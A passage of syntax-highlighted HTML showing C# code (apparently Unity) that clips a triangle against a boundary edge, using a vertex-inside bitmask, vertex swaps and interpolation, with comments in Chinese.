\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb000\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb001\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb010\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb100\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 将在边界里的点移动到 [P0, P1, P2] 列表的前面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eswitch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 没有点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb000\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 有一个点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb001\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb010\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb100\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 有两个点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb011\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb101\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb110\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 所有点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb111\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Unreachable\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLogError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Unknown triangleInsideInfo\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 只有 P0 在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev01\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev02\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev01\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev01\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev02\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev02\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 只有 P2 在外面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev20\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev21\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edist\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev20\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ercp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ev20\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan 